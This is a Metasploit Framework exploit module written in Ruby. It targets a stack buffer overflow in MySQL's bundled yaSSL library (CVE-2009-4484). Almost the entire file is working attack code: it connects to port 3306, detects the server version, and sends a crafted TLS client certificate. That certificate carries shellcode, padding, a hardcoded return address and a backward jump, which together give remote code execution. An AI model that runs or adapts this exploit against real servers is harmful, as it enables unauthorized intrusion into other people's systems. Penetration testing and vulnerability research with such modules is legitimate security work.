1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 |
## # $Id: mysql_yassl_getname.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'MySQL yaSSL CertDecoder::GetName Buffer Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in the yaSSL (1.9.8 and earlier) implementation bundled with MySQL. By sending a specially crafted client certificate, an attacker can execute arbitrary code. This vulnerability is present within the CertDecoder::GetName function inside "taocrypt/src/asn.cpp". However, the stack buffer that is written to exists within a parent function's stack frame. NOTE: This vulnerability requires a non-default configuration. First, the attacker must be able to pass the host-based authentication. Next, the server must be configured to listen on an accessible network interface.Lastly, the server must have been manually configured to use SSL. The binary from version 5.5.0-m2 was built with /GS and /SafeSEH. During testing on Windows XP SP3, these protections successfully prevented exploitation. Testing was also done with mysql on Ubuntu 9.04. Although the vulnerable code is present, both version 5.5.0-m2 built from source and version 5.0.75 from a binary package were not exploitable due to the use of the compiler's FORTIFY feature. Although suse11 was mentioned in the original blog post, the binary package they provide does not contain yaSSL or support SSL. }, 'Author' => [ 'jduck' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9179 $', 'References' => [ [ 'CVE', '2009-4484' ], [ 'BID', '37640' ], [ 'BID', '37943' ], [ 'BID', '37974' ], [ 'OSVDB', '61956' ], [ 'URL', 'http://secunia.com/advisories/38344/' ], [ 'URL', 'http://intevydis.blogspot.com/2010/01/mysq-yassl-stack-overflow.html' ] ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload'=> { 'Space'=> 1046, 'BadChars' => "", 'StackAdjustment' => -3500, 'DisableNops' => true }, 'Platform' => 'linux', 'Targets'=> [ [ 'Automatic', { } ], [ 'Debian 5.0 - MySQL (5.0.51a-24+lenny2)',{ 'JmpEsp' => 0x0807dc34 } ] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Jan 25 2010')) register_options([ Opt::RPORT(3306) ], self) end def exploit connect # read the mysql server hello :) version = nil if (buf = sock.get_once(-1, 5)) #print_status("\n" + Rex::Text.to_hex_dump(buf)) if (buf =~ /is not allowed to connect/) raise RuntimeError, 'The server refused our connection!' end len1,cmd = buf[0,5].unpack('VC') rest = buf[5,len1] idx = rest.index("\x00") if (idx) version = rest[0,idx] print_status("Server reports version: #{version}") end end # handle automatic target selection mytarget = nil if (target.name =~ /Automatic/) print_status("Attempting to locate a corresponding target") version = "(" + version + ")" targets.each { |tgt| if (tgt.name.include?(version)) mytarget = tgt end } if (not mytarget) raise RuntimeError, 'Unable to detect target automatically' else print_status("Using automatically detected target: #{mytarget.name}") end else mytarget = target print_status("Trying target #{mytarget.name}...") end # create/send the hello packet hello = [0x01000020].pack('V') hello << "\x85\xae\x03\x00"+"\x00\x00\x00\x01"+"\x08\x00\x00\x00" hello << "\x00" * 20 hello << "\x16\x03\x01\x00\x60\x01\x00\x00\x5c\x03\x01\x4a\x92\xce\xd1\xe1" hello << "\xab\x48\x51\xc8\x49\xa3\x5e\x97\x1a\xea\xc2\x99\x82\x33\x42\xd5" hello << "\x14\xbc\x05\x64\xdc\xb5\x48\xbd\x4c\x11\x55\x00\x00\x34\x00\x39" hello << "\x00\x38\x00\x35\x00\x16\x00\x13\x00\x0a\x00\x33\x00\x32\x00\x2f" hello << "\x00\x66\x00\x05\x00\x04\x00\x63\x00\x62\x00\x61\x00\x15\x00\x12" hello << "\x00\x09\x00\x65\x00\x64\x00\x60\x00\x14\x00\x11\x00\x08\x00\x06" hello << "\x00\x03\x02\x01\x00" sock.put(hello) # build a cn that will trigger the vulnerability cn = rand_text(payload_space - payload.encoded.length) cn << payload.encoded cn << [0,0].pack('VV') # memset(x,0,0); (this is x and the length) # NOTE: x in above (also gets passed to free()) pad = 1074 - payload_space cn << rand_text(pad) cn << [mytarget['JmpEsp']].pack('V') distance = 4 + pad + 8 + payload.encoded.length cn << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string cert = "\x2a\x86\x00\x84" cert << [cn.length].pack('N') cert << cn cert = "\x30"+ "\x82\x01\x01"+ "\x31"+ "\x82\x01\x01"+ "\x30"+ "\x82\x01\x01"+ "\x06"+ "\x82\x00\x02" + cert cert = "\xa0\x03" + "\x02\x01\x02" + "\x02\x01\x00" + "\x30" + "\x0d" + "\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x04\x05\x00" + cert # wrap in 2 sequences cert = SNMP::BER.encode_tlv(0x30, cert) cert = SNMP::BER.encode_tlv(0x30, cert) cert1 = big_endian_24bit(cert.length) + cert certs = big_endian_24bit(cert1.length) + cert1 handshake = "\x0b" +big_endian_24bit(certs.length) + certs msg = "\x16\x03\x01" msg << [handshake.length].pack('n') msg << handshake sock.put(msg) handler disconnect end def big_endian_24bit(len) uno = (len >> 16) & 0xff dos = (len >> 8) & 0xff tre = len & 0xff [uno,dos,tre].pack('C*') end end |